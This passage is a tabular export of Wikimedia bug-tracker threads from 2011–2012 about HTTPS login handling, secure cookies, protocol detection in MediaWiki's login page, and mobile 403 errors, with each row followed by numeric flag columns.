+RoanKattouw	reopens bug",,,1317655585,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+149564,OpenSearch is not using https in its content even it's being accessed via https,"This is on purpose. opensearch_desc.php returns so-called canonical URLs, and on the Wikimedia cluster those are http URLs.",,,1317653295,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+33323,Mandate only-SSL for accounts with access to private information,"Making it an option for users is nice, but for users with sysop, checkuser, oversight and researchers (for enwiki; other wikis configurations my vary) SSL access should not be an option, but the only way to access the servers.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39380
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47832
+https://bugzilla.wikimedia.org/show_bug.cgi?id=29898",Medium,50.0,1317645180,1440147353.0,PHID-USER-p5svl2m3pqm6jjgznnhz,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-oqffx6o3iwadtddsapew,task_description,resolved,True,c2,1,False,False,False,-100,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+512195,Mandate only-SSL for accounts with access to private information,Resolved since HTTPS has been enforced for everyone.,,,1440147353,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,3,True,,,103,True,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+149496,Mandate only-SSL for accounts with access to private information,"(In reply to comment #9)
+> All HTTP cookies have a ""Secure"" attribute that determines whether the
+> browser
+> will send them over HTTP or not. So, in other words, the actual protocol
+> under
+> which the cookie was sent is irrelevant, it's the Secure flag on the cookie
+> that matters.
+> 
+> When you log in using HTTPS in MediaWiki, almost every cookie is set to
+> Secure
+> so that it only goes over HTTPS. However, if you look in User::setCookies,
+> you'll see that the forceHTTPS cookie is explicitly set without the Secure
+> attribute so that it'll be visible regardless of protocol.
+
+That's a crystal clear explanation, thank you!",,,1359744054,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+149491,Mandate only-SSL for accounts with access to private information,"All HTTP cookies have a ""Secure"" attribute that determines whether the browser will send them over HTTP or not. So, in other words, the actual protocol under which the cookie was sent is irrelevant, it's the Secure flag on the cookie that matters.
+
+When you log in using HTTPS in MediaWiki, almost every cookie is set to Secure so that it only goes over HTTPS. However, if you look in User::setCookies, you'll see that the forceHTTPS cookie is explicitly set without the Secure attribute so that it'll be visible regardless of protocol.",,,1359743335,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+149484,Mandate only-SSL for accounts with access to private information,"Please forgive me for my ignorance, but doesn't having a cookie at all sent in HTTP mode mean that the user has logged in at least once *not* using HTTPS? Isn't it already too late to redirect him to HTTPS?",,,1359741909,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0
+149478,Mandate only-SSL for accounts with access to private information,https://gerrit.wikimedia.org/r/47089,,,1359741252,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+149467,Mandate only-SSL for accounts with access to private information,"(In reply to comment #5)
+> And now that all that code is in place, I think it should be trivial in the
+> login to say if a user is a member of a particular group, force stickHTTPS to
+> true.
+
+What about global groups? Ombudsmen, Staff, founder, steward and sysadmin all give access to private information.",,,1359739120,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-30,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+149459,Mandate only-SSL for accounts with access to private information,"And now that all that code is in place, I think it should be trivial in the login to say if a user is a member of a particular group, force stickHTTPS to true.",,,1359738539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-30,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+149454,Mandate only-SSL for accounts with access to private information,"FYI, here's the bug for secure login for all users: https://bugzilla.wikimedia.org/show_bug.cgi?id=39380",,,1359738125,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+149447,Mandate only-SSL for accounts with access to private information,"Sorry, to clarify I meant persistent HTTPS for all activity from the account, not just log-ins. But I agree with Brion's comment that the best case would be to require HTTPS for the log-in process for all accounts, at the very least.",,,1317661965,,PHID-USER-p5svl2m3pqm6jjgznnhz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-100,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+149441,Mandate only-SSL for accounts with access to private information,"(In reply to comment #1)
+> If we can require SSL for some logins, it would be irresponsible not to require
+> SSL for *all* logins.
+
+What about requiring HTTPS for all logins, and HTTPS for all further pages of special users?",,,1317658792,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-100,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+149434,Mandate only-SSL for accounts with access to private information,"If we can require SSL for some logins, it would be irresponsible not to require SSL for *all* logins.",,,1317658435,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-100,True,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+33293,check protocol in Special:UserLogin,"With the new 1.18 version, the magic word {{SERVER}} don't allow anymore to check protocol (http or https). 
+
+But there is one place where it is needed : in [[MediaWiki:Loginend]], system message used in [[Special:Connexion]]. We have to check the protocol to provide the good message permitting to the user to go to ""the other"" protocol.
+
+It appears that it is not possible with magic words/wikitext, and it is not possible either to ""patch"" with a javascript feature as JS is disabled in [[Special:Connexion]].
+
+The only solution I've found is to check the protocol in PHP, and provide the system message [[MediaWiki:Loginend]] or [[MediaWiki:Loginend-secure]] (to be created) depending on the result.
+
+The file to update is /includes/templates/Userlogin.php. The class ""UserloginTemplate extends QuickTemplate"", near the end, the folowing line :
+
+<div id=""loginend""><?php $this->msgWiki( 'loginend' ); ?></div>
+
+have to be replaced by something like that :
+
+<div id=""loginend""><?php 
+if($PROTOCOL==""https""){
+  $this->msgWiki( 'loginend-secure' ); 
+}else{
+  $this->msgWiki( 'loginend' ); 
+}
+?></div>
+
+
+I don-t know exacty how to perform the ($PROTOCOL==""https"") test, I assume that you'll get a solution...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1317471120,1317677764.0,PHID-USER-bbkjdjw2pvgzrl26x665,False,,False,PHID-TASK-dppnml7afy22rnh4pqjz,task_description,resolved,True,c2,0,False,False,True,-100,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+147783,check protocol in Special:UserLogin,"(In reply to comment #11)
+> One more problem: https://secure.wikimedia.org/ shows that it's unsecure.
+> Example: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin
+This is fixed now.",,,1317677764,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+147773,check protocol in Special:UserLogin,"**i.am.putnik** wrote:
+
+Sorry, better example link: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin?uselang=ru
+* ""Обычная авторизация"" (bold - selected) - basic auth
+* ""Безопасная авторизация"" (unselected) - secure auth",,,1317666707,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0
+147766,check protocol in Special:UserLogin,"**i.am.putnik** wrote:
+
+One more problem: https://secure.wikimedia.org/ shows that it's unsecure.
+Example: https://secure.wikimedia.org/wikipedia/ru/wiki/Special:UserLogin",,,1317666008,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0
+147758,check protocol in Special:UserLogin,"(In reply to comment #9)
+> You wrote:
+> $usingHTTPS = WebRequest::detectProtocol();
+> and next
+> if ( $usingHTTPS && ...) { ... }
+> 
+> I think you mean:
+> $usingHTTPS = WebRequest::detectProtocol() == 'https';
+> 
+> Now always shows loginend-https.
+Whoooops. I swear a previous incarnation of my code did have that. Fixed in r98774 and deployed.",,,1317659408,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+147750,check protocol in Special:UserLogin,"**i.am.putnik** wrote:
+
+You wrote:
+$usingHTTPS = WebRequest::detectProtocol();
+and next
+if ( $usingHTTPS && ...) { ... }
+
+I think you mean:
+$usingHTTPS = WebRequest::detectProtocol() == 'https';
+
+Now always shows loginend-https.",,,1317658993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1
+147743,check protocol in Special:UserLogin,"(In reply to comment #6)
+> It is not used (yet) in french Wikipedia, but perhaps the same change could be
+> done with [[Mediawiki:signupend]] (used in [[Special:UserLogin]] with the ""sign
+> up"" form (same php file, 2nd class)) ?
+Good point. Done in r98718.",,,1317589704,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+147735,check protocol in Special:UserLogin,"(And thank you for the quick answer for ""loginend"")",,,1317587951,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+147728,check protocol in Special:UserLogin,"It is not used (yet) in french Wikipedia, but perhaps the same change could be done with [[Mediawiki:signupend]] (used in [[Special:UserLogin]] with the ""sign up"" form (same php file, 2nd class)) ?",,,1317587843,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+147724,check protocol in Special:UserLogin,"And as pointed out by Derk-Jan, this fix is live on the cluster already.",,,1317586992,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+147721,check protocol in Special:UserLogin,"(In reply to comment #0)
+> <div id=""loginend""><?php 
+> if($PROTOCOL==""https""){
+>   $this->msgWiki( 'loginend-secure' ); 
+> }else{
+>   $this->msgWiki( 'loginend' ); 
+> }
+> ?></div>
+> 
+Did this in r98707, thanks for the suggestion. I went with loginend-https instead of loginend-secure, though, and made it fall back to loginend if loginend-https doesn't exist.",,,1317586972,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+147718,check protocol in Special:UserLogin,r98708,,,1317586881,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+147714,check protocol in Special:UserLogin,"I like this solution. avoids introducing new keywords, which we would not want.",,,1317506005,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+147708,check protocol in Special:UserLogin,"Oups...
+
+[[Special:Connexion]] is the french version of [[Special:UserLogin]].",,,1317471537,,PHID-USER-bbkjdjw2pvgzrl26x665,False,,,PHID-TASK-dppnml7afy22rnh4pqjz,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+33040,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link","When login-in with $wgSecureLogin=true set, all logins return to the Main Page.
+
+Cause:
+When $wgSecureLogin=true is set the $login_url['href'] (of SkinTemplate.php) does not set the returnto parameters.
+
+--------------------------
+**Version**: 1.17.x
+**Severity**: normal",Medium,50.0,1316535900,1345034912.0,PHID-USER-s3mqwzhzumlh2w5g756e,False,,False,PHID-TASK-5lxu426whlsnvndt5675,task_description,resolved,True,c2,0,False,False,True,-102,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+150963,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",patch merged.,,,1345034912,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+150954,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",https://gerrit.wikimedia.org/r/18493,,,1344625237,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,1,False,,,-55,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+150949,"Enabling $wgSecureLogin does not set returnto on ""Log in / create account"" link",reported per CR on r75585,,,1316626394,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5lxu426whlsnvndt5675,task_subcomment,,True,c2,0,True,,,-101,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+32951,403 HTTP method not allowed.,"**Author:** `RSYQFIOJGWZA`
+
+**Description:**
+en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=submit
+403 HTTP method not allowed.
+Error 403 HTTP method not
+allowed.
+HTTP method not allowed.
+Guru Meditation:
+XID: 1646037111
+Varnish cache server
+
+--------------------------
+**Version**: --
+**Severity**: normal
+**URL**: http://en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=submit",Medium,50.0,1316259600,1354749331.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ueiwtrzyvfgttrvynarw,task_description,invalid,True,c2,0,False,False,True,-102,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+145399,403 HTTP method not allowed.,"This is not quite a duplicate as far as I can tell, but things have changed a LOT since this bug was issued. Login/editing are not supported from the regular mobile site - that said, login and editing for mobile devices are available in the mobile beta (go to the mobile site nav, settings, enable beta). Beta features are fairly experimental, so expect weirdness, and please report bugs. Closing this as invalid.",,,1354749331,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+145390,403 HTTP method not allowed.,"This sounds a lot like bug 30772 to me, hence marking as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 30772 ***",,,1350613610,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+145385,403 HTTP method not allowed.,I also am experiencing an HTTP 403 error when I try to log in.  I'm using the Wikipedia App version 2.2 on an iPod Touch 4th Generation.,,,1319694328,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+145382,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:
+
+Now I can't even login. http://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=User_talk:Jeff_G.&returntoquery=mobileaction%3Dview_normal_site produces the same error, with different ""Guru Meditation:
+XID: 1848071891"".",,,1316881926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+145378,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:
+
